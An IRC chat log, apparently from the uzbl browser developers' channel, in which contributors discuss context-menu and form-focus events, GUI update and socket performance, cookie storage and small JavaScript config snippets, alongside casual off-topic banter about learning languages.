14:47 < Dieterbe> Gentooer: you called uzbl with --name or otherwise it's just the window ID
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15:28 < Zombywuf> bind    p         = sh 'echo "uri `xclip -selection primary -o`" > $4'
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15:28 < rob|> ok, so now we have menu_* commands for each context, like: "menu_image_add label = command"
15:28 < Zombywuf> Anyone knwo why the above line might have suddenly stopped working
15:28 < Zombywuf> ?
15:28 < Zombywuf> : $4: ambiguous redirect
15:29 < Zombywuf> Gets printed from uzbl when I hit p
15:32 < Zombywuf> In fact anything that does a sh .. > $4 is doing it
15:37 < scj> stale fifo
15:37 < Dieterbe> whatever $4 is, it doesn't exist
15:38 < Zombywuf> Ah yeah, it crashed, which never removes the fifo
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15:42 < rob|> hmm, there are quite a few more contexts like media, selection and editable i'll leave it up to someone else to add menu commands for these if needed..
15:42 < rob|> the groundwork is layed so it should be an easy task to add those
15:44 < Dieterbe> rob|: and these contexts are static? users cannot make their own contexts? if so maybe we should add the context as additional argument to a more generic 'menu_add'
15:45 < rob|> yes, they are static as long as we do not provide own menus
15:49 < Zombywuf> "I don't see what C++ has to do with keeping people from shooting themselves in the foot. C++ will happily load the gun, offer you a drink to steady your nerves, and help you aim."
15:49 < Zombywuf> Whoops, wrong window
15:51 < lich> love it when people try to impress us by saying something "smart" then saying they missed the window
15:51 < lich> irc windows don't just pop up :(
15:51 < rob|> hmm, all this language bashing is kind of ridiculous. you could as well say everybody should talk english cause french and german suck
15:52 < lich> rob|: they do, but that's not your point I take it?
15:52 < lich> :P
15:52 < lich> actually I'd take german over french any day
15:52 < lich> sadly, I only know the latter
15:52 < lich> and little of the former
15:53 < rob|> well, you better forget everything cause those languages can easily make you shoot yourself..
15:53 < lich> I'm learning japanese for a few months, trust me, french was a piece of cake compared to this :))
15:53 < rob|> hell, they even have their very own words for shoot and aim!
15:54 < rob|> heh, i can imagine
15:54 < lich> but I do love it
15:54 < lich> I like german too, but I despise the longass sentences.
15:54 < lich> on the other hand, japanese has no spaces in sentences, not normally anyway
15:55 < lich> I know a bit of german
15:55 < lich> let me see
15:55 < rob|> i see, well german's strength is is almost unlimited capability of composed words
15:55 < lich> Ich bin ein Brennende Komet
15:55 < lich> should be I am a burning comet?
15:55 < rob|> you can create your own compositions that even make sense and are understandable to others ;)
15:55 < lich> rob|: I call that 4 am while drunk
15:55 < lich> :))
15:58 < rob|> anyways, a big pool of programming language to choose from is a good thing and applications that can handle any of these are even nicer ;)
15:58 < lich> well, uzbl sure does a good job so far
16:00 < lich> "Thanks! Yes, E17 is nice as long as you don't expect it to be a full fledged DE. IT takes some adjusting to get used to at first, but once you do, if you are like me, you'll find it productive, light, and nice to work with."
16:00 < lich> gimme a fucking break, plight and productive?!
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16:01 < Zombywuf> lich, sometimes people are just dumb and don't look at the window they're pasting into
16:02 < lich> I don't believe that
16:02 < Zombywuf> Good for you
16:02 < lich> that happened to me in IM programs as one would pop up, but never on irc
16:02 < Zombywuf> Did I say pop up?
16:02 < Zombywuf> You said pop up
16:02 < Duologic> hi all, just bumped into something with uzbl_tabbed.py, any developers here that work with that script?
16:03 < lich> I do enjoy and ocasional msg nickserv password though
16:03 < lich> Duologic: mason-l
16:03 < lich> Zombywuf: yes?
16:04 < Zombywuf> *dispair*
16:04 < Duologic> mason-l: I noticed that sending the command to the /tmp/uzbltabbed_id file thru the awesome-menu, didn't do anything
16:05 < Duologic> it does work when sending it on a rxvt
16:06 < rob|> Duologic: then that menu thing is probably eating characters?!
16:07 < Duologic> maybe it has problems with the std's
16:08 < Duologic> yes it does
16:09 < mason-l> Duologic, Theres nothing on the uzbl_tabbed side that cares about who is feeding it messages, if its not responding its likely its not getting the message in the first place.
16:10 < mason-l> Duologic, And you realise that the /tmp/uzbltabbed_id _only_ controls the tabbing wrapper you still need to use the normal /tmp/uzbl_{socket,fifo}_id to talk to an instance.
16:10 < Duologic> I just noticed that
16:10 < Duologic> I realise that
16:11 < Duologic> it is a problem with Awesome, sorry for the fuss
16:12 < mason-l> Duologic, No problem.
16:12 < Dieterbe> rob|: i actually like the system that is called 'naamvallen' in dutch, which latin and german use
16:13 < Dieterbe> it's a concise and powerfull mechanism, as long as there are not too many exceptions ;)
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16:31 < thunktone> hmm all this talk of languages as i practise my british sign language
16:31 < thunktone> now that has a lot of scope for creating new words
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17:29 < rob|> refactored the whole menu_* stuff so that we need only one array to store all context menu entries
17:31 < rob|> oh and elements that have multiple contexts like an image that is also a link are handled, too
17:37 < Dieterbe> hmm, how does that work?
17:38 < rob|> well, in that case the elements of the image&link contexts are combined and displayed in the menu
17:40 < Dieterbe> doesn't webkit do that already?
17:40 < rob|> not with custom entries
17:41 < Dieterbe> that's weird, it does it already for its own entries..
17:42 < rob|> sure, though it has no way to keep track of the contexts of custom entries
17:42 < rob|> that needs to be done by us, which we actually do
17:44 < rob|> as a side effect we're also able to tell what element a user clicked on, not sure how to put this into good use, though
17:44 < rob|> i.e. link, image, document "root", editable form, media element
17:45 < Dieterbe> but the context names are same, right? i mean webkitgtk+ uses the 'image' context, and so do we, so i don't see why it can't automatically collect the relevant items for the corresponding contexts
17:45 < rob|> no, the menus have no contexts
17:46 < Dieterbe> disclaimer: i don't know what i'm talking about :)
17:47 < rob|> basically it works like this:  you right click somewhere into the website -> 1. a button press event is triggered which saves the event structure somewhere -> a "populate-popup" signal is triggered -> its callback inpsects the context of the click and buids the corresponding menu
18:01 < rob|> anyways, now we could generate FORM_CLICKED events and together with @on_event automatically switch to input mode
18:01 < rob|> not sure if we need this, though
18:02 < rob|> as it will only work when forms are clicked
18:02 < rob|> but extending link_follow to also generate this events would probably be worth it
18:03 < rob|> we should probably name it FORM_ACTIVE or something like that
18:03 < Dieterbe> i didn't understand your explanation, but never mind, my head is almost exloding right now
18:14 < mason-l> keis, Are you online?
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18:16 < keis> yes
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18:19 < mason-l> keis, Ah, never mind.
18:19 < mason-l> Sorry to bother.
18:19 < keis> oh, ok
18:22 < mason-l> keis, I can see in one of your commits that you've added a 'debug' option to uzbl-browser or uzbl-daemon. You don't need to do that when using the 'test-dev-browser' make target.
18:25 < keis> must have missed it :/
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18:29 < rob|> mason-l: you should watch "VARIABLE_SET forward_keys" in the EM to make sure that we always display the correct mode
18:30 < rob|> mason-l: i just added (no committed yet) a FORM_ACTIVE event and "@on_event FORM_ACTIVE set forward_keys = 1" which works pretty well, though the EM does not recognize the mode
18:30 < mason-l> Maybe you should just change the mode instead?
18:31 < mason-l> just "@set_mode insert"
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18:32 < rob|> my bad
18:32 < rob|> that certainly works as expected!
18:32 < mason-l> :)
18:33 < rob|> anyways, FORM_ACTIVE is quite nice but we can only generate it if the user _clicks_ a form :(
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18:34 < mason-l> So tab-select is out?
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18:34 < mason-l> Tab wont work in non-insert mode anyway.
18:34 < rob|> yes and also forms that have focus on site load
18:35 < rob|> like google's search line
18:35 < mason-l> I don't think we need to go that far.
18:35 < rob|> you would have to first click it in order to automatically switch to insert mode
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18:41 < rob|> well, i commited the FORM_ACTIVE thing and added an example to the config
18:41 < rob|> works pretty well for me, testing welcome..
18:43 < rob|> oh and the link_follow maintainer should also add this event when a (editable) form element is selected
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18:53 < rob|> mason-l: when you have time to check it out, please tell me if we also need events when the document root is clicked (could be useful to reset to cmd mode)
18:54 < mason-l> rob|, I think that should be highly optional.
18:54 < rob|> oh and we can generate events if one of the following is clicked: images, links, forms, document root, selection
18:54 < mason-l> Well.. I'm not sure actually.
18:55 < rob|> ok, then let's stick to FORM_ACTIVE which actually gives instant benefits
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18:56 < mason-l> YAGNI gets in the way of good feature adding ;)
18:57 < rob|> ;)
18:58 < rob|> anyways, with FORM_ACTIVE we are on the same level as vimperator and its automatic mode switching
18:59 < rob|> with almost no effort, actually as a side effect of the menu stuff
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20:06 < Dieterbe> http://failblog.org/2009/10/19/shopping-cart-stunt-fail/
20:14 < mason-l> http://www.youtube.com/watch?v=XXSGV5wEv1o
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20:20 < mason-l> Oh goddam, once I start on youtube I never stop.
20:40 < rob|> set disable_plugins = 1
20:40 < rob|> ;)
20:43 < mason-l> rob|, Can you implement some kind of stripping tokens like @[]@ is used for escaping? Just stripping whitespace that is.
20:43 < axionix> how can i copy the url to paste somewhere?
20:43 < axionix> primary selection doesnt work
20:44 < keis> I like the binding 'yurl' from the default config
20:44 < mason-l> Because if you have a status format that looks like "[<span> @var1 @var2 @var3 @var4 </span>]" and {var1, var2, var3} are blank then it will print "[    @var4val ]"
20:44 < rob|> mason-l: sure, whitespace from where?
20:45 < mason-l> rob|, That example ^
20:45 < rob|> ok, will look into that
20:45 < rob|> brb
20:46 < mason-l> So I would then encapsulate the "[<span>..]" inside @~'s or something.
20:46 < mason-l> The token choice is yours :)
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20:49 < Frots> hi there
20:49 < Frots> I did a fresh uzbl install
20:49 < Frots> I dont seem to have the command bar
20:49 < Frots> am I an idiot?
20:49 < mason-l> Frots, Does your config file exist
20:50 < Frots> yes
20:50 < mason-l> And or up to date.
20:50 < Frots> Well I didnt make one
20:50 < Frots> I just copyed the examples dir
20:50 < mason-l> And master / experimental?
20:50 < Frots> first tried master
20:50 < Frots> then exp.
20:50 < Frots> in experimental the status_format is set
20:50 < mason-l> You will need a valid config file for a status bar to show up.
20:51 < Frots> so the one from examples is not valid?
20:51 < mason-l> And make sure its in the correct place: $XDG_CONFIG_HOME/uzbl/config
20:51 < Frots> ah wait im an idiot
20:51 < mason-l> The config in the examples dir is valid.
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20:54 < axionix> keis: i tried that. i still cant paste
20:55 < keis> heh, wierd. is xclip working outside uzbl?
20:56 < axionix> i need xclip?
20:57 < keis> well, if you read the config it should be fairly obvious that you do :)
20:57 < axionix> hmm even with it its remembering the primary selection from another program
20:57 < axionix> i need to paste to irssi
20:58 < keis> hmm, maybe I have changed it.. I don't remember
20:58 < keis> i have this: @bind    yurl      = sh 'echo -n $6 | xclip'
20:59 < axionix> ok i'll try that btw can i bind a modkey say ctrl+c?
21:00 < keis> yeah, why not
21:02 < axionix> how do i get the ^C code for that?
21:02 < axionix> i forgot
21:04 < keis> something like "<Ctrl>c", not really sure. my version is patched beyond recognition :P
21:04 < axionix> ah ctrl+v,c in vim
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21:22 < axionix> hmm, uzbl renders fonts different sometimes
21:23 < psychon> s/uzbl/webkit/ :P
21:23 < axionix> oh youve noticed too?
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21:24 < axionix> if i go directly to google news, fonts are not anti-aliased. but if i type in a term, and then go to google news, then go to google news main site...fonts are AA'd
21:24 < axionix> weird
21:25 < axionix> weirder is i dont see this in midori if it is infact webkit
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21:44 < Count0> Is the wiki down?
21:46 < mason-l> rob|, Can we also re-open discussions about executing update_gui every time an internal variable is changed that is in the status_format?
21:47 < mason-l> rob|, I know we agreed not to originally but I see no easier way to speed up the responsiveness of keycmds when using an EM.
21:47 < mason-l> Without having to send an 'update_gui' command every time I send a message to uzbl.
21:47 < mason-l> (Which I'm currently doing)
21:49 < Dieterbe> Count0: yes
21:53 < Dieterbe> mason-l: so seinfield is a good show?
21:54 < mason-l> Dieterbe, I've seen a bit of it and don't mind it. I mainly just enjoyed that video.
21:54 < Dieterbe> ah i see
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21:59 < mason-l> rob|, And I've noticed that some times even when I call update_gui the gui isn't updated until another key is pressed or the mouse is moved.
22:00 < Dieterbe> rob|: you have experience with dokuwiki, right? any idea why we get this: http://www.uzbl.org/wiki/
22:00 < Dieterbe> ('file not found')
22:02 < rob|> mason-l: re. update_gui, i'm not sure what you're suggesting
22:03 < mason-l> rob|, Are you familiar with the update_gui command?
22:03 < mason-l> My request: call that every time a variable is updated.
22:04 < mason-l> 95% of the time it is the keycmd updating/changing and it saves explicitly sending the 'update_gui' command to uzbl.
22:04 < rob|> mason-l: yes
22:05 < rob|> masin-l: ok, sounds good to me
22:05 < mason-l> Thanks.
22:06 < rob|> so 'set update_gui = anything' instead of 'update_gui', right?
22:06 < rob|> well, is this really an improvement?
22:06 < mason-l> Um?
22:06 < rob|> anyways, i like the variable approach better as well
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22:06 < mason-l> I mean update_gui the command.
22:07 < rob|> yeah, me too
22:07 < mason-l> Automatically execute it when you 'set foo = baz'
22:07 < rob|> yes, that's what i meant to say
22:08 < mason-l> Yeah ok, you just lost me at 'set update_gui = anything' so I thought I would clarify :)
22:09 < rob|> oh, i would name the var "update_gui" as well
22:09 < rob|> we would need a dedicated var for this anyways
22:09 < rob|> so it pretty much boils down to a semantic issue
22:10 < mason-l> You've lost me again.
22:11 < mason-l> My proposal: Inline the update_gui function code inside the variable set function or call the update_gui function after each variable set call.
22:11 < rob|> oh, yeah  we had this exact issue already.
22:12 < mason-l> So wait, its already be done?
22:12 < rob|> well, i'm not really sure about this at least it would look&feel pretty bad to code it :(
22:14 < rob|> i've been thinking about an easy (optional) syntax to bind variables to (automatically executed) functions
22:14 < rob|> something like:  set foo =:command: value
22:16 < keis> that can already be done with a on_event, right?
22:16 < rob|> well, yeah i guess you're right
22:17 < keis> if you can live with the roundtrip to the em
22:17 < rob|> unix domain sockets are fast
22:17 < keis> i don't think the bottleneck will be the socket
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22:20 < keis> the parseing and logic in python (or lisp) is going to be the source
22:20 < rob|> hmm, we're working with strings so this might be an issue, yeah
22:22 < rob|> .oO( --socket-connect-binray ) ;)
22:23 < rob|> *binary
22:23 < rob|> oh, hell. double fail
22:23 < rob|> binary, that is
22:26 < keis> I think it will be easier to force a update_gui when a variable change then to invent a new protocol :P
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22:27 < rob|> sure, but this just doesn't feel right
22:28 < mason-l> At the trade-off of keycmd responsiveness.
22:32 < keis> well the alternative of creating a complex bind uzbl-commands as watchers of variables doesn't feel very right to me either
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22:42 < Dieterbe> mason-l: bedtime for you youngman!
22:43 < mason-l> Yes it is :)
22:44 < Dieterbe> not that it is any of my concern, but as "project leader" i feel concerned about your health ^^
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22:46 < Dieterbe> mason-l / rob| http://blogs.gnome.org/xan/2009/10/19/webkitgtk-hackfest-2009/
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22:47 < rob|> oh, that sounds nice :)
22:49 < rob|> btw, added a ROOT_ACTIVE event so we can easily switch back to command mode if anything else than a editable form is being clicked
22:51 < Dieterbe> good
22:52 < rob|> i guess it's safe for you to pull now
22:53 < Dieterbe> actually i'm trying to figure out why the stupid wiki is broken
22:54 < rob|> hmm, no idea but uzbl.org seems to de down as well
22:54 < rob|> http://downforeveryoneorjustme.com/uzbl.org
22:55 < Dieterbe> it's just very slow
22:55 < rob|> oh, right it loaded finally
22:55 < Dieterbe> i guess we could say dreamhost is not the most reliable :P
22:57 < Dieterbe> [nitti]$ uptime 13:57:28 up 16:07,  6 users,  load average: 459.75, 467.44, 426.50
22:57 < Dieterbe> that explains
22:57 < axionix> wow
22:57 < mason-l> Wow!
22:59 < Dieterbe> rob|, mason-l what do you think about our current status? experimental should be quite usable right? isn't it about time to polish up some stuff, throw a tarball together and put it out there?
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22:59 < Dieterbe> the multi-instance EM should work and stuff?
22:59 < mason-l> Dieterbe, You've still got to pull in my multi-instance stuff.
22:59 < mason-l> Yeah it works
23:00 < mason-l> (Theres only been a handful of testers though)
23:00 < Dieterbe> i know. i promise you guys i'll pull your stuff :)
23:00 < mason-l> I've got some huge pending changes on the keycmd/bind side of things thanks to keis and my own improvements.
23:00 < Dieterbe> really? pending, as in not completed in experimental?
23:00 < Dieterbe> what are these changes?
23:02 < mason-l> Its removing all the hard-binding of <Left><Escape><End><Home><BackSpace><...> and moving those bindings into the config.
23:02 < Dieterbe> oh. very cool
23:02 < mason-l> And adding features like ^W & ^U
23:02 < mason-l> (As a result)
23:02 < mason-l> brb sleep.
23:02 < Dieterbe> good night mate
23:02 < mason-l> Catch up with you guys in 20 hours.
23:03 < Dieterbe> i will do some merging stuff and updating documentation/website so maybe we can do a release this weekend
23:04 < rob|> night mason
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23:04 < dunz0r> got a question... which cookie-solution works best? I haven't got even one to work
23:04 < dunz0r> I think
23:04 < Dieterbe> cookie daemon
23:04 < Dieterbe> .py
23:04 < dunz0r> *gotten
23:05 < axionix> cookie_daemon.py -u :)
23:05 < dunz0r> hmm. maybe should give that one another go then
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23:05 < github> uzbl: Robert Manea experimental SHA1-44af2da
23:05 < github> rearrange function order
23:05 < github> http://bit.ly/1MLlzi
23:05 < github> uzbl: Robert Manea experimental SHA1-19806c1
23:05 < github> added multiple clients per socket support and --connect-socket argument
23:05 < github> http://bit.ly/47L4FS
23:05 < github> uzbl: Robert Manea experimental SHA1-5b1f6a5
23:05 < github> handle multiple calls to --conect-socket
23:05 < github> http://bit.ly/4rpdHF
23:05 < github> uzbl: Mason Larobina experimental SHA1-847ddc8
23:05 < dunz0r> btw. uzbl is the only browser installed on my system right now :)
23:05 < github> Merge branch 'experimental' of git://github.com/robm/uzbl into experimental
23:06 < github> http://bit.ly/PtQrd
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23:06 < Dieterbe> dunz0r: you're crazy.
23:06 < dunz0r> no, elinks as well
23:06 < axionix> elinks and uzbl here too.
23:06 < dunz0r> Dieterbe; well, I really like uzbl :)
23:06 < dunz0r> srsly. it's closest I've ever seen to a perfect browser
23:06 < dunz0r> *the closeset
23:06 < mason-l> dunz0r, Run cookie_daemon.py with -nv to show verbose output to check it isn't working.
23:07 < dunz0r> that's the weird thing. it seems to be. getting cookies and all
23:07 < mason-l> I mean 'if its working'.
23:07 < dunz0r> but it doesn't seem to store them
23:07 < dunz0r> the cookies.txt is empty
23:07 < Dieterbe> dunz0r: that's true. after all, uzbl aims to be the perfect browser
23:07 < mason-l> Anyway, night guys.
23:07 < Dieterbe> seeya
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23:11 < dunz0r> hmm. it actually works. It seems I may be an idiot :)
23:11 < dunz0r> mixed up paths it seems
23:13 < dunz0r> ... I was wrong :/
23:14 < dunz0r> it may just be this site. not sure
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23:35 < Dieterbe> goodnight fwiends
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03:22 < comhack> dunz0r: the cookies.txt file is in ~/.local/share/uzbl/cookies.txt
03:22 < comhack> not the one in ~/.config/uzbl
03:23 < comhack> I thought the same thing that my cookies were empty but it was in a different spot
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06:34 < axionix> is it possible to bind a script to one of the arrow keys?
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06:45 < axionix> nevermind, i see it's being worked on
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09:38 < Dieterbe> good morning "dawgs"
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09:42 < lich> o/
09:46 < Cheeseum> morning onii-chan~
09:46 < lich> ohayou
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10:00 < Cheeseum> oyasuminasai~
10:01 < lich> mason_l: does uzbl_tabbed sometime open the same clicked link twice for you? did it a few times this morning
10:01 < lich> learning japanese heh?
10:02 < lich> anyways, gnight :)
10:02 < Cheeseum> no I'm just a gigantic weeaboo
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10:03 < lich> wtf is a weeabo?
10:03 < Dieterbe> do you want to know?
10:03 < keis> did someone say weeabo?
10:04 < L29Ah> ^_^
10:04 < lich> Dieterbe: i do
10:04 < lich> i hate not knowing stuff
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10:09 < MichaelRaskin> lich, urban dictionary is your friend
10:10 < rob|> morning.
10:11 < Dieterbe> http://www.intternetti.net/~jiri/motivation/weeaboo.jpg
10:11 < Dieterbe> i knew i had seen the term somewhere before :)
10:13 < lich> oh lol, a wapanese
10:15 < xyz`> http://pbfcomics.com/?cid=PBF071-Weeaboo.gif
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10:21 < rob|> Dieterbe: wiki works again, did you do something to it?
10:22 < Dieterbe> no, i guess "file not found" is dokuwiki's way to say "your system is under load" o_O
10:22 < lich> mornin' rob|
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10:26 < DuClare> Weeaboos everywhere :<
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10:29 < L29Ah> weeaboo no sekai
10:34 < scj> weeaboos are the worst
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10:37 < lich> scj: they are. but at what point do you start to make a difference between a weaboo and a true learner?
10:37 < scj> wtf is a 'true learner'?
10:38 < rob|> hmm, with FORM_ACTIVE and a bit of JS magic we should be able to edit forms with an external editor
10:38 < lich> someone that actually want to learn the language? not someone that does it so he can understant hentai better :P
10:38 < lich> wants*
10:38 < xyz`> you say that like there is any other reason to learn it
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10:39 < lich> xyz`: there are other reasons
10:39 < rob|> js Uzbl.run("@(gvim /tmp/form_edit_random)@"); ...
10:39 < lich> fo rone it could prove to be a nice hobby, and maybe you actually want to go to japan?
10:39 < rob|> i wonder why i don't get the contents of the file into a js var, though..
10:39 < lich> rob|: that sounds nice, but why edit forms in gvim?
10:40 < scj> noone wants to go to japan unless they are a weeaboo
10:40 < lich> scj: you are incorrect
10:40 < rob|> lich: well, this will useful for multiline forms - in forums, web mailers, etc.
10:40 < rob|> +be
10:41 < lich> "omeone who is obsessed with Japan/Japanese Culture/Anime, etc. and attempts to act as if they were Japanese, even though they're far from it." doubt someone that wants to go to Japan falls under that cathegory
10:41 < lich> Someone*
10:43 < rob|> so, where are the JS guys here
10:43 < lich> prolly on their way to Japan :))
10:43 < rob|> hehe
10:43 < scj> lich: point is, if you are learning japanese because you are visiting japan, you are a weeaboo. there is no such thing as a 'true learner'
10:44 < lich> scj: so you are saying a non-japanese should not learn the language because they're lame if they do so?
10:44 < lich> that's just retarded
10:45 < lich> did you learn a foreight language why going to school/highschool?
10:45 < lich> foreign*
10:45 < lich> while*
10:45 < lich> fucking macOS!
10:45 < scj> yes, that is exactly what I am saying. while it may be retarded, at least I'm not a weeaboo
10:45 < lich> answer my question please
10:46 < lich> did you or did you not learn a foreight language in school
10:46 < lich> foreign. god I despise this keyboard
10:46 < scj> yes, I learned english
10:46 < lich> lame!
10:47 < lich> going by your way of seeing this, you are the english equivalent of a weaboo
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10:47 < scj> oh wow what a burn
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10:47 < lich> well, usually truth is not as spectacular as a comedy burn
10:49 < lich> a hobby is never lame, and having japanese learning as a hobby doesn't make you a weaboo (I can;t believe I'm using this fucking word now). agreed there are some idiots that learn some stuff to seem cool and whatnot, but not everyone. for example I started learning it because I'm a GO player, and I wanted to learn all the terms. does that make me lame?
10:49 < xyz`> probably
10:50 < lich> you guys are really sad
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10:50 < lich> good idea
10:50 < lich> kthxbai
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10:53 < scj> 'a hobby is never lame' lolwut
10:56 < Dieterbe> rob|: interesting idea, though i find the idea of *embedding* an editor into forms more interesting
10:56 < rob|> well, that would be certainly way harder to achieve
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11:00 < rob|> and wouldn't work with all editors
11:01 < Dieterbe> yeah, i thinking more in the direction of a lightweight reusable editor widget
11:02 < rob|> no, i wouldn't prefere that over my beloved vim
11:03 < rob|>  why build an own editor when there are some many good ones already availbale to choose from
11:03 < Dieterbe> because they are maybe a tad too heavyweight for what we want to do
11:04 < rob|> no, i certainly wouldn't want to spawn an editor for simple search fields but would love a full blown vim/whatever when editing/writing mails or forum posts
11:05 < MichaelRaskin> rob|, that is the functionality of "Edit this textarea in Vim level"
11:05 < rob|> so we would bind a javascript that launches the editor and does all the fancy stuff to the context menu of editable forms and you could just: right click the form -> "Edit in vim"
11:06 < rob|> MichaelRaskin: ?
11:06 < MichaelRaskin> Which is trivial to achieve via shell scripts
11:07 < rob|> yes, i'm just unsure on the Js side as we would need to read the file back into the textarea
11:08 < scj> formfiller does this
11:08 < MichaelRaskin> As we are in a shell script anyway, why not simply generate a JS value expression?
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11:10 < rob|> well, anyone care to take this over? i pretty much suck at JS
11:22 < rob|> menu_editable_add Open in \@editor = spawn script_to_be_written
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11:25 < Dieterbe> menu_editable_add Open in \@editor ?
11:26 < rob|> yeah
11:26 < rob|> context menu for all editable forms
11:27 < Dieterbe> ah right, now i get it
11:28 < Dieterbe> and then it's up to script_to_be_written to fetch the textarea contents from uzbl (can it know the dom id ?) and update it at the end
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11:29 < rob|> yeah, exactly. i guess there is a way to get the ID of the currently focused element?
11:30 < Dieterbe> i hope so. i think i also recall mason and/or some others discussing a way to provide "dynamic variables" in event handling plugins
11:30 < rob|> what are dynamic variables?
11:34 < MichaelRaskin> I guess variables with dynamical extent
11:35 < rob|> well, we do have that already unless i mistunderstand you
11:36 < Dieterbe> i think i was confused, never mind... what are you saying we already have?
11:36 < MichaelRaskin> I also think so
11:36 < MichaelRaskin> They meant having them inside event manager
11:37 < MichaelRaskin> Because using Uzbl's variables is (for most tasks) a bad idea.
11:37 < rob|> hmm, i see.
11:38 < Dieterbe> doesn't having them in the EM mean that event messages have to be hardcoded to just provide more information?
11:41 < rob|> also, what's the problem with uzbl vars? maybe we could omprove them
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11:43 < MichaelRaskin> rob|, the problem is with retrieving them.
11:43 < MichaelRaskin> A medium-intensive exchange between EM and Uzbl can make the latter to delay messages
11:52 < rob|> i see, i guess it's time for a gprof session
11:52 < rob|> maybe we can get rid of the bottleneck(s)
11:55 < MichaelRaskin> Well, it seems to be a deliberate buffering problem
11:56 < rob|> well, glib's IO channels have several drawbacks i bet a own poll based implementation would scale better
12:20 < rob|> http://pastebin.ca/1632264
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12:29 < rob|> so, g_string_append is being called _a lot_
12:29 < rob|> just tested with: while :; do echo 'print @status_format'; sleep .2; done | socat unix-connect:/tmp/uzbl_socket_xyz
12:30 < rob|> most of the time uzbl "hangs" in that function
12:31 < rob|> in other words g_string_append is certainly a bottleneck that we need to address
12:45 < rob|> MichaelRaskin: do you still have that piece of code that lead to delays?
12:45 < rob|> MichaelRaskin: i'd like to see a profiling output when that is run
12:45 < MichaelRaskin> No
12:45 < rob|> hmm, pitty
12:45 < MichaelRaskin> I can retell what it does, though
12:46 < MichaelRaskin> because inner logic is not crucial here
12:46 < rob|> ok
12:46 < MichaelRaskin> Basically, it sends "set a=1; set b=2; set c=3; set d=4;.."
12:47 < MichaelRaskin> then it sends "event tell-me-a @a; event tell-me-b @b; ..."
12:47 < MichaelRaskin> then it sends "set keycmd=1234567890" after receiving events tell-me-*
12:48 < rob|> ok, i see
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13:05 < rob|> MichaelRaskin: http://pastebin.ca/1632354
13:06 < rob|> MichaelRaskin: i don't seem to run into issues with that, even though it runs on a _slooooow_ laptop
13:06 < MichaelRaskin> Does the buffer delay occur?
13:06 < MichaelRaskin> Because everything is OK CPU-wise
13:07 < MichaelRaskin> it's just that the last part occurs only after 3s timer fires
13:07 < rob|> nope, didn't see any delays
13:08 < MichaelRaskin> You mean that you get all the events immediately after running the script?
13:08 < rob|> yes
13:08 < MichaelRaskin> maybe my use of concatenations killed the joy, but I doubt it.
13:09 < rob|> whell, actually the scripts also simulates concatenations as the inner for loop will be send in one go without any delays
13:09 < MichaelRaskin> I'd pipe uzbl to cat
13:09 < MichaelRaskin> because in your script it may think it is outputting to stdout.
13:10 < MichaelRaskin> which is terminal
13:10 < MichaelRaskin> Not to stdout which is pipe
13:11 < MichaelRaskin> Because my EM reads uzbl stdout
13:11 < rob|> that might be the issue, you should try sockets instead
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13:12 < MichaelRaskin> Hm. The fun thing is that without the variable querying everything is OK
13:12 < rob|> anyways, parseenv is quite expensive
13:12 < rob|> might it be your EM that doesn't empty the socket fast enough?
13:13 < MichaelRaskin> Well, it may be so.
13:13 < MichaelRaskin> I found that send delay is triggered and just reduced the volume of communication to fit into the apparent buffer
13:14 < rob|> the thing is we do flush the buffer on every write
13:14 < rob|> so if  the EM is fast enough to empty it this shouldn't be an issue
13:14 < rob|> afaict
13:15 < MichaelRaskin> Hm.
13:15 < MichaelRaskin> Maybe a dedicated thread would do then.
13:16 < MichaelRaskin> For a multi-instance EM it would make sense anyway: dedicated threads to eat data, and a single processing thread.
13:17 < rob|> right, sounds good
13:18 < rob|> Dieterbe: look at this call graph: http://pastebin.ca/1632391  <-- one more reason to get rid of parseenv
13:18 < rob|> Dieterbe: generated using the script i pasted above
13:18 < MichaelRaskin> Why can't we set socket path and uzbl id separately? Or can we already?
13:21 < rob|> well, there is '--connect-socket <name>' which is the prefered thing for EMs
13:21 < rob|> using that uzbl will act as a client and the EM will have to handle listen/accept
13:21 < MichaelRaskin> Is it quite recent or just missing in --help?
13:21 < rob|> both ;)
13:22 < rob|> but if you don't get it in --help you're running an old version
13:23 < rob|> oh and you can also use it multiple times, like: uzbl-core --connect-socket foo --connect-socket bar --connect-socket baz
13:24 < rob|> esentially telling uzbl to open a connection to each of those sockets..
13:24 < rob|> and dispatch all events to all sockets of course
13:24 < Dieterbe> rob|: soo.. that was on your slow laptop? 40ms is on the verge of being 'not cool', but i like env vars..
13:24 < MichaelRaskin> And will uzbl accept commands via the same socket?
13:25 < rob|> MichaelRaskin: yes
13:26 < rob|> Dieterbe: yes on the slowtop
13:29 < rob|> Dieterbe: i think for what parseenv provides it eats quite a lot of cpu cycles..
13:29 < Dieterbe> that is true
13:30 < Dieterbe> it can probably be made more efficient. after all shells do such logic all time
13:30 < rob|> yeah, probably
13:30 < rob|> and that should really be done
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13:53 < rob|> oh, keis provided some nice patches
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15:55 < rob|> funny, only 49% of uzbl's source files are C. 33% python, 10% JS, 6% shell and 1% perl
15:55 < rob|> SLOCs that is..
15:55 < rob|> talking about my latest experimental
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16:44 < rob|> print @<document.activeElement.getAttribute('type')>@   <-- null  - this sucks!
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16:47 < rob|> seems to only work with text elements
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16:58 < rob|> well, for anyone interested this will automatically switch to insert mode if a text element has initial focus on a loaded site:
16:58 < rob|> @on_event   LOAD_FINISH    js if(document.activeElement.getAttribute('type') == 'text') {Uzbl.run("set mode = insert");}
16:59 < rob|> unfortunatelly it only works with text elements, so google input element won't be detected :(
16:59 < rob|> *google's
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17:09 < bct> rob|, would if nodeName == 'input' && (getAttribute('type') == 'text' || getAttribute('type') == null) work?
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17:11 < rob|> bct: not, sure. where does nodeName come from?
17:12 < bct> actually scratch that, there might be a type DOM attribute.
17:13 < bct> http://www.w3schools.com/jsref/prop_text_type.asp
17:13 < bct> try document.activeElement.type == 'text'
17:14 < rob|> yeah, but that only works for text nodes/elemenst due to webkit limitations :(
17:14 < rob|> anyways i added an example to the sample config maybe someone better at JS can figure how to enhance it
17:14 < rob|> besides google it works as is on many sites for me
17:15 < bct> how does it berak?
17:15 < rob|> well, document.activeElement.getAttribute('type') just returns null for anything else than a text element
17:16 < bct> what do you mean by a text element? <input type='text' /> ?
17:17 < rob|> yeah,that's what i mean
17:17 < rob|> google e.g. doesn't set a type for the input element
17:18 < rob|> so i'm not sure for what to check to make get this working on as many sites as possible
17:18 < bct> have you tried activeElement.type ?
17:18 < rob|> no
17:18 < bct> (note the lack of getAttribute)
17:18 < rob|> aaah! this looks way better
17:19 < tha> where is the best place to start the cookie_daemon?
17:19 < rob|> bct: very cool, thanks for the input. this clearly works!
17:20 < rob|> bct: as you may have noticed i fail miserably at JS/DOM
